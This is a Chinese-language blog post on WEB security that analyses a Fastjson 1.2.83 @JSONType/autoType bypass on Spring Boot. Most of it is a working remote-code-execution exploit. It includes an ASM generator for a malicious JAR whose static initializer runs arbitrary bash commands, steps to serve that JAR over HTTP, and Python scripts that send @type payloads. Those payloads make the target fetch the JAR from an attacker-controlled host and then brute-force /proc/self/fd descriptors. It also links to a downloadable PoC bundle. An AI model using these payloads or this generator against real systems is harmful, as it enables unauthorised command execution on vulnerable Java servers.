Fastjson 1.2.83 漏洞分析

作者: print("") 分类: WEB安全 发布时间: 2026-07-21 23:43

1. 核⼼原理

1.1 漏洞⼊⼝:fastjson 的 @type 处理

fastjson 解析 JSON 时,如果遇到 {“@type”:”类名”} ,会尝试加载这个类并把 JSON 字段映射到类的属性。这个机制叫 autoType。
fastjson 1.2.83 默认关闭了 autoType(防⿊名单绕过),但留下了⼀个注解扫描 @JSONType  

1.2 @JSONType 扫描路径的缺陷

核心点就是去扫描传递的这个typeName 通过解析类。如果这个类解析成功然后去扫描有没有@JSONType 注解  。如果有这个注解。那么就给JsonType 设置true 

后续的判断如下:

                            if (autoTypeSupport || jsonType || expectClassFlag) {
                                boolean cacheClass = autoTypeSupport || jsonType;
                                clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, cacheClass);
                            }

那么这里就不需要autoType检查

这里需要注意的一个点就是

String resource = typeName.replace('.', '/') + ".class";

这里是使用了替换。使用. 替换了/  

例如:传递了 com.bt.cn.xxx 那么就会替换成com/bt/cn/xxx 

1.3 LaunchedURLClassLoader 加载机制

Spring Boot我们在打包成jar的时候运行这个jar命令是 java -jar xxx.jar 这个是运行命令
Spring Boot 打包出来的 Jar 与普通 Java Jar 并不相同
查看打包后的 Jar 可以发现,其内部结构如下:

META-INF/
BOOT-INF/
 ├── classes/
 └── lib/

• BOOT-INF/classes:项目编译后的 Class

• BOOT-INF/lib:所有第三方依赖 Jar

• META-INF/MANIFEST.MF:Jar 清单文件

MANIFEST.MF文件内容介绍

Manifest-Version: 1.0
Spring-Boot-Classpath-Index: BOOT-INF/classpath.idx
Implementation-Title: demo
Implementation-Version: 0.0.1-SNAPSHOT
Spring-Boot-Layers-Index: BOOT-INF/layers.idx
Start-Class: com.example.demo.DemoApplication
Spring-Boot-Classes: BOOT-INF/classes/
Spring-Boot-Lib: BOOT-INF/lib/
Build-Jdk-Spec: 1.8
Spring-Boot-Version: 2.7.18
Created-By: Maven JAR Plugin 3.2.2
Main-Class: org.springframework.boot.loader.JarLauncher

看一下文件内容,他指向了org.springframework.boot.loader.JarLauncher

这里说明:

执行

java -jar xxxx

启动的是

org.springframework.boot.loader.JarLauncher

启动的操作如下:

    public static void main(String[] args) throws Exception {
        (new JarLauncher()).launch(args);
    }

跟进这个类查看到底做了什么操作

Spring Boot 会创建一个 自定义类加载器:

LaunchedURLClassLoader

它会:

• 加载 BOOT-INF/classes

• 加载 BOOT-INF/lib

• 将它们组合成一个统一的 ClassLoader

• 设置为当前线程的 ContextClassLoader

• 最后再执行:

Application.main()

LaunchedURLClassLoader  支持jar的格式嵌套。

那么可以使用 

jar:http://192.168.1.10/probe!/POC.classl

进行加载class 类。但是有一个问题。就是Fastjson 中 typeName.replace(‘.’, ‘/’) + “.class”;  替换。

那么可以采用IP 地址的十进制整数格式
 例如 192.168.1.72 十进制格式就是3232235848  然后// 可以使用..  

那么

jar:http://192.168.1.72:9998/probe!/foo/Exception

就变成了

jar:http:..3232235848:9998.probe!.foo.Exception

2. 环境测试

2.1 环境搭建

随便来一个pom.xml 

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.18</version>
        <relativePath/>
    </parent>
    <groupId>com.example</groupId>
    <artifactId>demo</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>demo</name>
    <description>demo</description>

    <properties>
        <java.version>8</java.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.83</version>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-devtools</artifactId>
            <scope>runtime</scope>
            <optional>true</optional>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

简单的接口

package com.example.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import com.alibaba.fastjson.parser.ParserConfig;

import java.util.LinkedHashMap;
import java.util.Map;

@RestController
public class FastJsonController {

    @PostMapping("/fastjson")
    public JSONObject parseJson(@RequestBody String body) {
        JSONObject json = JSON.parseObject(body);
        return json;
    }


    @PostMapping(value = "/parse", produces = MediaType.APPLICATION_JSON_VALUE)
    @ResponseBody
    public Map<String, Object> parse(@RequestBody String payload) {
        Map<String, Object> r = new LinkedHashMap<>();
        ClassLoader original = Thread.currentThread().getContextClassLoader();
        try {
            Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
            Object obj = JSON.parse(payload);
            r.put("ok", true);
            r.put("class", obj == null ? "null" : obj.getClass().getName());
            r.put("result", String.valueOf(obj));
        } catch (Throwable e) {
            r.put("ok", false);
            r.put("error", e.getClass().getName() + ": " + e.getMessage());
        } finally {
            Thread.currentThread().setContextClassLoader(original);
        }
        return r;
    }
}

编译打包一下就好了。

如果觉得麻烦 直接下载 https://www.o2oxy.cn/wp-content/uploads/2026/07/demo-0.0.1-SNAPSHOT.zip

然后直接java -jar 启动即可。(JDK8 )

2.2 HTTP 的方式

https://www.o2oxy.cn/wp-content/uploads/2026/07/poc.zip

unzip poc.zip
javac -cp "poc/lib/*" -d poc poc/GenProbe.java
java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 192.168.1.72 9998 "whoami>/tmp/61.txt"
cd poc/www/
python3 -m http.server 9998

利用的脚本

import requests,json
import struct,socket
from concurrent.futures import ThreadPoolExecutor, as_completed

def ip_to_int(ip):
    return struct.unpack("!I", socket.inet_aton(ip))[0]

ip_int="192.168.1.72"
lport="9998"
url="http://192.168.1.72:9991/parse"

# ── Step 1: 发送探针请求,触发 JAR 下载 ──
probe ={"@type":"jar:http:..3232235848:9998.probe!.POC","x":1}
print("[*] Probe:", probe)
r = requests.post(url, json=probe, timeout=10)
print("[*] Probe response:", r.json())

查看一下是否利用成功

2.3 GenProbe 类做了什么?

因为FastJson 加载的是ASM 字节码。并且需要@JSONType 标记

if (is != null) {
ClassReaderclassReader=newClassReader(is, true);
TypeCollectorvisitor=newTypeCollector("<clinit>", newClass[0]);
    classReader.accept(visitor);
    jsonType = visitor.hasJsonType();   // → true!
}

完整的触发链路如下:

攻击者 POST /api {"@type":"特殊类名"}
 ↓
fastjson checkAutoType:
 1. replace('.','/') → 资源路径 (可能是 URL)
 2. ClassLoader.getResourceAsStream → 下载/读取字节码
 3. ClassReader 检查字节码是否有 @JSONType 注解
 - 有 → jsonType=true
 4. loadClass → 加载字节码, 注册到 JVM
 5. newInstance() → 实例化, 触发 <clinit>
 ↓
RCE (字节码 <clinit> ⾥ Runtime.exec)

2.4 fd 的利用方式

2.4.1 核⼼思路:file + /proc/self/fd

⽤ ASM ⽣成⼀个 jar,内含:
foo/Exception.class (⽆ @JSONType,⽤于 probe 触发下载)
fd3/Exception.class ~ fd80/Exception.class (含 @JSONType + <clinit> 执
⾏命令)
每个 fdN/Exception 的 this_class 是
jar:file:/proc/self/fd/N!/fdN/Exception (与 fastjson replace(‘.’,’/’) 后⼀

致)。

import org.objectweb.asm.*;
import java.io.*;
import java.nio.file.*;
import java.util.jar.*;

/**
 * Generates an exploit JAR for fastjson 1.2.83 jdk8u RCE via /proc/self/fd/N technique.
 *
 * JAR structure:
 *   foo/Exception.class          — probe class (NO @JSONType), triggers JAR download
 *   fd3/Exception.class          — exploit class (has @JSONType + <clinit>)
 *   fd4/Exception.class          —   ...
 *   ...  up to ...
 *   fd80/Exception.class
 *
 * Each fdN/Exception has its this_class set to:
 *   jar:file:/proc/self/fd/N!/fdN/Exception
 *
 * This is so that after fastjson does replace('.','/') on the @type value:
 *   "jar:file:/proc/self/fd/N!/fdN.Exception"
 * it matches the class's internal name exactly.
 *
 * Usage:
 *   javac -cp asm-9.7.jar poc/GenJar.java
 *   java -cp asm-9.7.jar;./poc poc.GenJar <cmd> <output.jar>
 *
 * Example:
 *   java -cp asm-9.7.jar;./poc poc.GenJar "open -a Calculator" exploit.jar
 */
public class GenJar {

    public static void main(String[] args) throws Exception {
        // default: /System/Applications/Calculator.app/Contents/MacOS/Calculator
        String cmd   = args.length > 0 ? args[0] : "open -a Calculator";
        String outputJar = args.length > 1 ? args[1] : "poc/exploit.jar";

        Path outDir = Paths.get(outputJar).getParent();
        if (outDir != null) Files.createDirectories(outDir);

        try (JarOutputStream jos = new JarOutputStream(new FileOutputStream(outputJar))) {

            // ── 1. foo/Exception.class (probe class, NO @JSONType) ──
            jos.putNextEntry(new JarEntry("foo/Exception.class"));
            jos.write(makeProbeClass());
            jos.closeEntry();

            // ── 2. fd3/Exception.class ~ fd80/Exception.class ──
            //     Range /proc/self/fd/3 ~ fd/80 should cover the JAR fd
            for (int fd = 3; fd <= 80; fd++) {
                String entryName = "fd" + fd + "/Exception.class";
                jos.putNextEntry(new JarEntry(entryName));
                jos.write(makeExploitClass(fd, cmd));
                jos.closeEntry();
            }
        }

        System.out.println("[+] Generated: " + outputJar);
        System.out.println("[+] JAR contains: foo/Exception.class + fd3~fd80/Exception.class");
        System.out.println();
        System.out.println("[*] Serve the JAR at a URL, then send payloads like:");
        System.out.printf("    {\"@type\":\"jar:http://<server>/<path>!/foo.Exception\",\"x\":1}%n");
        System.out.printf("    (then use fdN variants for actual RCE, e.g.)%n");
        System.out.printf("    {\"@type\":\"jar:file:/proc/self/fd/N!/fdN.Exception\",\"x\":1}%n");
    }

    /**
     * foo/Exception — probe class.
     * Has NO @JSONType, so fastjson won't deserialize it.
     * Its sole purpose is that fastjson sees "jar:..." @type,
     * triggers the jar:// protocol handler, downloads this JAR, and
     * keeps it in an open file descriptor (/proc/self/fd/N).
     *
     * Internal name: "foo/Exception" (ordinary)
     */
    static byte[] makeProbeClass() {
        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
        // this_class = foo/Exception — plain name, no @JSONType needed
        cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC,
                 "foo/Exception", null, "java/lang/Object", null);

        // <init>
        MethodVisitor mv = cw.visitMethod(Opcodes.ACC_PUBLIC, "<init>", "()V", null, null);
        mv.visitCode();
        mv.visitVarInsn(Opcodes.ALOAD, 0);
        mv.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
        mv.visitInsn(Opcodes.RETURN);
        mv.visitMaxs(1, 1);
        mv.visitEnd();

        cw.visitEnd();
        return cw.toByteArray();
    }

    /**
     * fdN/Exception — exploit class.
     * Has @JSONType annotation so fastjson creates an instance.
     * <clinit> runs the specified command via Runtime.exec(new String[]{"/bin/bash","-c",cmd}).
     *
     * this_class = "jar:file:/proc/self/fd/N!/fdN/Exception"
     * This is what fastjson resolves to after replace('.','/') on the @type value.
     */
    static byte[] makeExploitClass(int fd, String cmd) {
        String internalName = "jar:file:/proc/self/fd/" + fd + "!/fd" + fd + "/Exception";

        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
        cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC,
                 internalName, null, "java/lang/Object", null);

        // @JSONType annotation — required for fastjson to process <clinit>
        cw.visitAnnotation("Lcom/alibaba/fastjson/annotation/JSONType;", true).visitEnd();

        // <init>
        MethodVisitor mv = cw.visitMethod(Opcodes.ACC_PUBLIC, "<init>", "()V", null, null);
        mv.visitCode();
        mv.visitVarInsn(Opcodes.ALOAD, 0);
        mv.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
        mv.visitInsn(Opcodes.RETURN);
        mv.visitMaxs(1, 1);
        mv.visitEnd();

        // <clinit> — command execution
        mv = cw.visitMethod(Opcodes.ACC_STATIC, "<clinit>", "()V", null, null);
        mv.visitCode();
        mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime",
                           "getRuntime", "()Ljava/lang/Runtime;", false);
        mv.visitInsn(Opcodes.ICONST_3);
        mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/String");
        mv.visitInsn(Opcodes.DUP);
        mv.visitInsn(Opcodes.ICONST_0);
        mv.visitLdcInsn("/bin/bash");
        mv.visitInsn(Opcodes.AASTORE);
        mv.visitInsn(Opcodes.DUP);
        mv.visitInsn(Opcodes.ICONST_1);
        mv.visitLdcInsn("-c");
        mv.visitInsn(Opcodes.AASTORE);
        mv.visitInsn(Opcodes.DUP);
        mv.visitInsn(Opcodes.ICONST_2);
        mv.visitLdcInsn(cmd);
        mv.visitInsn(Opcodes.AASTORE);
        mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime",
                           "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false);
        mv.visitInsn(Opcodes.POP);
        mv.visitInsn(Opcodes.RETURN);
        mv.visitMaxs(5, 0);
        mv.visitEnd();

        cw.visitEnd();
        return cw.toByteArray();
    }
}

编译成文件

javac -cp "poc/lib/*" -d poc poc/GenPr.java
java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenPr
cd poc/www/
python3 -m http.server 9998

攻击脚本如下:

import requests,json
import struct,socket
from concurrent.futures import ThreadPoolExecutor, as_completed

def ip_to_int(ip):
    return struct.unpack("!I", socket.inet_aton(ip))[0]

ip_int="192.168.1.72"
lport="9998"
url="http://192.168.1.72:9991/fastjson"

# ── Step 1: 发送探针请求,触发 JAR 下载 ──
probe = {"@type":"jar:http:..3232235848:9998.probe!.foo.Exception"}
print("[*] Probe:", probe)
r = requests.post(url, json=probe, timeout=10)
print("[*] Probe response:", r.json())

# ── Step 2: 并发枚举 fd 3~80 (2 轮, 每个独立请求, 3s 超时) ──
fd_class = "Exception"

def try_fd(fd):
    """尝试单个 fd,成功返回 (fd, resp_text),失败返回 None"""
    payload = {"@type": f"jar:file:.proc.self.fd.{fd}!.fd{fd}.{fd_class}"}
    try:
        r = requests.post(url, json=payload, timeout=3)
        return (fd, r.text)
    except Exception as e:
        return (fd, f"<error: {e}>")

found = []
for round_num in range(1, 3):  # 2 轮
    print(f"\n[=== Round {round_num} ===] 枚举 fd 3~80 ...")
    with ThreadPoolExecutor(max_workers=20) as pool:
        futs = {pool.submit(try_fd, fd): fd for fd in range(3, 81)}
        for fut in as_completed(futs):
            fd = futs[fut]
            result = fut.result()
            if result:
                fd_num, text = result
                # 如果返回不是标准错误,可能命中
                if "error" not in text.lower() and "timeout" not in text.lower():
                    print(f"  [+] fd={fd_num} 可能命中 → {text[:120]}")
                    found.append(fd_num)
                else:
                    print(f"  [-] fd={fd} 失败")

if found:
    print(f"\n[+] 候选 fd: {found}")
else:
    print("\n[-] 未找到有效 fd,尝试扩大范围或检查探针是否成功")

查看是否成功

2.5 fd 的利用的一些坑点

1. Tomcat 的 LaunchedURLClassLoader 对每个 jar:file:/proc/self/fd/N 都重 新 new JarFile() 。遇到阻塞型 fd(如 socket)时,native ZipFile.open 卡死。

解决⽅案:
每个 fd ⼀个独⽴ HTTP 请求(不⽤单个 JSON 数组)
并发 10 个 worker
每个请求 3s 超时,卡死的⾃动跳过

参考:

https://wx.zsxq.com/group/88512188158852/topic/82255425281818252

https://mp.weixin.qq.com/s/Y7gnHqRBaQFc2Mo8l6xqBw

https://github.com/DmTomHL/fastjson-1.2.83-gadget-rce/

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注